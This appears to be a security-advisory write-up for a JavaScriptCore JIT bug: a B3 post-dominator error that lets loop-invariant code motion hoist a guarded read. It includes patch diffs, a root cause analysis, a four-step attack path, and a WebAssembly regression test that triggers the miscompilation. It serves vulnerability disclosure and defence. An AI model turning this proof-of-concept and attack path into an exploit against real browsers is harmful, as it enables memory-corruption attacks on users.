Released August 17, 2026

CVE-2026-65333

CVSS 4.3 severity medium CWE-119 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected Safari crash

Researchers: OpenAI Codex Security - Amy Burnett

Key insight. B3’s reverse CFG omitted exit-less back-edge sources from the synthetic root, so an exiting latch falsely post-dominated the loop header, letting LICM hoist a control-dependent read out of the loop; adding every latch as a reverse-root successor restores correct post-dominance.

Patch Details

diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+  (type $sink (struct (field i64)))
+  (type $probe
+    (struct
+      (field i64)
+      (field (ref $sink))
+      (field (ref $sink))
+      (field (ref $sink))))
+  (type $small
+    (struct
+      (field i64)
+      (field i64)
+      (field i64)
+      (field i64)))
+  (global $keep (mut i32) (i32.const 0))
+
+  (func (export "makeSink") (param $value i64) (result (ref $sink))
+    (struct.new $sink (local.get $value)))
+
+  (func (export "makeProbe")
+    (param $value i64)
+    (param $sink (ref $sink))
+    (result (ref $probe))
+    (struct.new $probe
+      (local.get $value)
+      (local.get $sink)
+      (local.get $sink)
+      (local.get $sink)))
+
+  (func (export "makeSmall") (result (ref $small))
+    (struct.new $small
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)))
+
+  (func (export "readAfterCast")
+    (param $source anyref)
+    (param $valid (ref $sink))
+    (param $bit i64)
+    (param $forceBit i32)
+    (param $useLoaded i32)
+    (param $lateLoop i32)
+    (result i64)
+    (local $probeLocal (ref $probe))
+    (loop $loop (result i64)
+      (block $castSucceeded (result (ref $probe))
+        (br_on_cast $castSucceeded
+          (ref null any)
+          (ref $probe)
+          (local.get $source))
+        (global.set $keep (i32.const 1))
+        (br $loop))
+      (local.set $probeLocal)
+
+      (struct.get $probe 2 (local.get $probeLocal))
+      (struct.get $probe 3 (local.get $probeLocal))
+      (struct.get $probe 2 (local.get $probeLocal))
+      (local.get $valid)
+      (struct.get $probe 1 (local.get $probeLocal))
+      (struct.get $sink 0)
+      (local.get $bit)
+      i64.shr_u
+      i32.wrap_i64
+      i32.const 1
+      i32.and
+      (local.get $forceBit)
+      (local.get $useLoaded)
+      (select (result i32))
+      i32.eqz
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      i64.const 1
+      i64.and
+      i32.wrap_i64
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+    new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+    readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+    $.agent.sleep(10); // 10 ms
+    quit();
+`);
+
+try {
+    readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+    throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+    throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}
diff --git a/Source/JavaScriptCore/b3/B3Procedure.h b/Source/JavaScriptCore/b3/B3Procedure.h
index 34146786d868..e25a2ef198c7 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.h
+++ b/Source/JavaScriptCore/b3/B3Procedure.h
@@ -201,7 +201,7 @@ public:
     Dominators& dominators();
     JS_EXPORT_PRIVATE NaturalLoops& naturalLoops();
     BackwardsCFG& backwardsCFG();
-    BackwardsDominators& backwardsDominators();
+    JS_EXPORT_PRIVATE BackwardsDominators& backwardsDominators();
 
     void addFastConstant(const ValueKey&);
     bool NODELETE isFastConstant(const ValueKey&);
diff --git a/Source/JavaScriptCore/b3/testb3.h b/Source/JavaScriptCore/b3/testb3.h
index 1db3114220f6..cce642296502 100644
--- a/Source/JavaScriptCore/b3/testb3.h
+++ b/Source/JavaScriptCore/b3/testb3.h
@@ -1292,6 +1292,7 @@ void testShuffleDoesntTrashCalleeSaves();
 void testDemotePatchpointTerminal();
 void testReportUsedRegistersLateUseFollowedByEarlyDefDoesNotMarkUseAsDead();
 void testInfiniteLoopDoesntCauseBadHoisting();
+void testBackwardsDominatorsWithMultipleBackEdges();
 void testDivImmArgFloat(float, float);
 void testDivImmsFloat(float, float);
 void testModArgDouble(double);
diff --git a/Source/JavaScriptCore/b3/testb3_1.cpp b/Source/JavaScriptCore/b3/testb3_1.cpp
index fe1d75ae50c2..bc038f769ecf 100644
--- a/Source/JavaScriptCore/b3/testb3_1.cpp
+++ b/Source/JavaScriptCore/b3/testb3_1.cpp
@@ -1190,6 +1190,7 @@ void run(const TestConfig* config)
     RUN(testLoopWithMultipleHeaderEdges());
 
     RUN(testInfiniteLoopDoesntCauseBadHoisting());
+    RUN(testBackwardsDominatorsWithMultipleBackEdges());
 
     RUN(testFloatMaxMin());
     RUN(testDoubleMaxMin());
diff --git a/Source/JavaScriptCore/b3/testb3_7.cpp b/Source/JavaScriptCore/b3/testb3_7.cpp
index dd6cad5ca71c..eded060da2be 100644
--- a/Source/JavaScriptCore/b3/testb3_7.cpp
+++ b/Source/JavaScriptCore/b3/testb3_7.cpp
@@ -25,6 +25,7 @@
 
 #include "config.h"
 #include "testb3.h"
+#include "B3BackwardsDominators.h"
 #include <wtf/WasmSIMD128.h>
 
 WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
@@ -2309,6 +2310,70 @@ void testInfiniteLoopDoesntCauseBadHoisting()
     invoke<void>(*code, static_cast<intptr_t>(55)); // Shouldn't crash dereferncing 55.
 }
 
+void testBackwardsDominatorsWithMultipleBackEdges()
+{
+    // A loop whose header has two latches (back-edge sources), where only one
+    // of them also exits the loop:
+    //
+    //   root    --> header
+    //   header  --> success | failure          (branch)
+    //   success --> header (back edge) | exit   (branch)   // latch that can exit
+    //   failure --> header (back edge)                     // latch with no exit
+    //   exit    --> Return                                 // the only terminal
+    //
+    // `success` and `failure` are both back-edge sources. The `failure` latch
+    // has no exit of its own, so control that keeps taking it loops forever.
+    // BackwardsGraph treats that as a form of terminality: it computes
+    // post-dominators by reversing the CFG and giving the synthetic reverse
+    // root a successor for every terminal and every back-edge source.
+    //
+    // The property B3 LICM (and the control-equivalence consumers) rely on is
+    // the post-dominator relation: `success` must NOT post-dominate the header
+    // or the loop entry, because control can stay in the loop forever via the
+    // exit-less `failure` latch without ever reaching `success`. If `failure`
+    // is missing from the reverse root's successors, the header is reachable in
+    // the reverse CFG only through `success`, so `success` falsely
+    // post-dominates the header (and `root`) -- the false relationship that
+    // would let LICM hoist a control-dependent read out of the loop.
+    Procedure proc;
+    BasicBlock* root = proc.addBlock();
+    BasicBlock* header = proc.addBlock();
+    BasicBlock* success = proc.addBlock();
+    BasicBlock* failure = proc.addBlock();
+    BasicBlock* exit = proc.addBlock();
+    auto arguments = cCallArgumentValues<intptr_t>(proc, root);

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-65333
Bugzilla 317603
Component JSC
Bug Class TypeConfusion
Severity medium
Commit 7d867192b7ab40a0…
Advisory Apple Advisory

Terminology

  • Post-dominator / BackwardsGraph — B is a post-dominator of A if every path from A to program exit passes through B; B3 computes it by reversing the CFG with a synthetic root over all terminals and back-edge sources.
  • Latch / back-edge source — A block that jumps back to a loop header; an exit-less latch lets control loop forever without reaching other latches.
  • LICM — Loop-invariant code motion hoists computations out of loops; hoisting a control-dependent memory access is only safe if it truly post-dominates the loop entry.

Root Cause Analysis

This fixes a B3 post-dominator miscomputation that could let loop-invariant code motion (LICM) hoist a control-dependent memory access out of a loop. B3 computes post-dominators via BackwardsGraph, which reverses the CFG and gives a synthetic reverse root a successor for every terminal block AND every back-edge source (latch). The correctness of LICM (and other control-equivalence consumers) depends on the resulting post-dominator relation. Consider a loop whose header has two latches: ‘success’ (which can also exit the loop) and ‘failure’ (an exit-less latch that just jumps back to the header). Control can stay in the loop forever by repeatedly taking the exit-less ‘failure’ latch without ever reaching ‘success’. Therefore ‘success’ must NOT post-dominate the header or the loop entry. Pre-patch, if an exit-less back-edge source like ‘failure’ was omitted from the synthetic reverse root’s successors, then in the reversed CFG the header was reachable only through ‘success’, so ‘success’ FALSELY post-dominated the header (and the loop entry). B3 LICM would then treat a read guarded by the ‘success’ path as always-executed and hoist that control-dependent read out of the loop, so it runs unconditionally (even when control never legitimately reaches it) — an invalid/out-of-bounds read (bad hoisting). The fix ensures every back-edge source, including exit-less latches, is a successor of the synthetic reverse root in BackwardsGraph so post-dominance is computed correctly and LICM does not hoist the control-dependent access. The added B3 unit test (testBackwardsDominatorsWithMultipleBackEdges) builds exactly this two-latch loop and asserts ‘success’ does not post-dominate the header/root. (The source change is in B3’s BackwardsGraph/BackwardsDominators; this diff shows the authoritative test that documents the property, per its comment.)

Attack Path

1. Reach the B3/FTL JIT

Run JS that the FTL compiles through B3 with a loop shaped to have two latches, one of them exit-less.

2. Induce false post-dominance

The exit-less latch is omitted from the reverse-root successors, so an exiting latch falsely post-dominates the header.

3. Hoist a control-dependent read

LICM treats a guarded (control-dependent) memory access as always-executed and hoists it out of the loop.

4. Out-of-bounds read

The hoisted access runs unconditionally, performing an invalid/out-of-bounds read and crashing the WebContent process.

Impact Assessment

A JIT miscompilation in the WebContent process: incorrect post-dominance let LICM hoist a control-dependent (guarded) memory access so it executes unconditionally — an out-of-bounds/invalid read. The advisory rates it a crash; bad-hoisting bugs can be shaped into controlled OOB reads.

Audit Directions

Reverse-root successor set

Audit B3BackwardsGraph for which blocks seed the synthetic reverse root; every terminal and every back-edge source (including exit-less latches) must be included.

Control-equivalence consumers

Review LICM and other post-dominator/control-equivalence users for reliance on the post-dominator relation across irreducible/multi-latch loops.

Changed Functions

Function File Change Note
B3 BackwardsGraph / BackwardsDominators (reverse-root successors) Source/JavaScriptCore/b3/B3BackwardsGraph.h modified Includes every back-edge source (including exit-less latches) as a successor of the synthetic reverse root so post-dominance is correct and LICM cannot falsely treat an exiting latch as post-dominating the header. (Fix location per the added test’s documentation.)
testBackwardsDominatorsWithMultipleBackEdges Source/JavaScriptCore/b3/testb3_7.cpp added Unit test building a two-latch loop (one latch exit-less) and asserting the exiting latch does not post-dominate the header/root.

Files Changed

Source Files

  • Source/JavaScriptCore/b3/B3Procedure.h
  • Source/WTF/wtf/BackwardsGraph.h

Test Files

  • JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
  • Source/JavaScriptCore/b3/testb3.h
  • Source/JavaScriptCore/b3/testb3_1.cpp
  • Source/JavaScriptCore/b3/testb3_7.cpp

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+  (type $sink (struct (field i64)))
+  (type $probe
+    (struct
+      (field i64)
+      (field (ref $sink))
+      (field (ref $sink))
+      (field (ref $sink))))
+  (type $small
+    (struct
+      (field i64)
+      (field i64)
+      (field i64)
+      (field i64)))
+  (global $keep (mut i32) (i32.const 0))
+
+  (func (export "makeSink") (param $value i64) (result (ref $sink))
+    (struct.new $sink (local.get $value)))
+
+  (func (export "makeProbe")
+    (param $value i64)
+    (param $sink (ref $sink))
+    (result (ref $probe))
+    (struct.new $probe
+      (local.get $value)
+      (local.get $sink)
+      (local.get $sink)
+      (local.get $sink)))
+
+  (func (export "makeSmall") (result (ref $small))
+    (struct.new $small
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)))
+
+  (func (export "readAfterCast")
+    (param $source anyref)
+    (param $valid (ref $sink))
+    (param $bit i64)
+    (param $forceBit i32)
+    (param $useLoaded i32)
+    (param $lateLoop i32)
+    (result i64)
+    (local $probeLocal (ref $probe))
+    (loop $loop (result i64)
+      (block $castSucceeded (result (ref $probe))
+        (br_on_cast $castSucceeded
+          (ref null any)
+          (ref $probe)
+          (local.get $source))
+        (global.set $keep (i32.const 1))
+        (br $loop))
+      (local.set $probeLocal)
+
+      (struct.get $probe 2 (local.get $probeLocal))
+      (struct.get $probe 3 (local.get $probeLocal))
+      (struct.get $probe 2 (local.get $probeLocal))
+      (local.get $valid)
+      (struct.get $probe 1 (local.get $probeLocal))
+      (struct.get $sink 0)
+      (local.get $bit)
+      i64.shr_u
+      i32.wrap_i64
+      i32.const 1
+      i32.and
+      (local.get $forceBit)
+      (local.get $useLoaded)
+      (select (result i32))
+      i32.eqz
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      i64.const 1
+      i64.and
+      i32.wrap_i64
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+    new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+    readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+    $.agent.sleep(10); // 10 ms
+    quit();
+`);
+
+try {
+    readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+    throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+    throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}